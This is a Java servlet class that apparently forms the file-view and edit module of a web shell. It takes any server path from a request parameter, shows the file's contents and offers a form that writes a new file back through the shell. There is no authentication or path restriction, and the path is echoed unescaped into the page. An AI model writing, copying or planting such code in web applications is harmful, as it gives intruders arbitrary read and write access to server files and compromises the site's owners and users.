package com.truthbean.jeetb.utils.web.invoker;

import com.truthbean.jeetb.utils.web.Utils;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.PrintWriter;

public class VEditInvoker extends DefaultInvoker {
    public void invoke(HttpServletRequest request, HttpServletResponse response, HttpSession session) throws Exception {
        try {
            PrintWriter out = response.getWriter();
            String path = request.getParameter("filepath");
            File f = new File(path);
            if (f.exists()) {
                BufferedReader reader = new BufferedReader(new FileReader(f));
                StringBuilder content = new StringBuilder();
                String s = reader.readLine();
                while (s != null) {
                    content.append(s + "\r\n");
                    s = reader.readLine();
                }
                reader.close();
                out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>" +
                        "<form name=\"form1\" id=\"form1\" action=\"" + SHELL_NAME + "\" method=\"post\" >" +
                        "<h2>Create / Edit File &raquo;</h2>" +
                        "<input type='hidden' name='o' value='createFile'>" +
                        "<p>Current File (import new file name and new file)<br /><input class=\"input\" name=\"filepath\" id=\"editfilename\" value=\"" + path + "\" type=\"text\" size=\"100\"  /></p>" +
                        "<p>File Content<br /><textarea class=\"area\" id=\"filecontent\" name=\"filecontent\" cols=\"100\" rows=\"25\" >" + Utils.htmlEncode(content.toString()) + "</textarea></p>" +
                        "<p><input class=\"bt\" name=\"submit\" id=\"submit\" type=\"submit\" value=\"Submit\"> <input class=\"bt\"  type=\"button\" value=\"Back\" onclick=\"history.back()\"></p>" +
                        "</form>" +
                        "</td></tr></table>");
            }
        } catch (Exception e) {
            e.printStackTrace();
            throw e;
        }
    }
}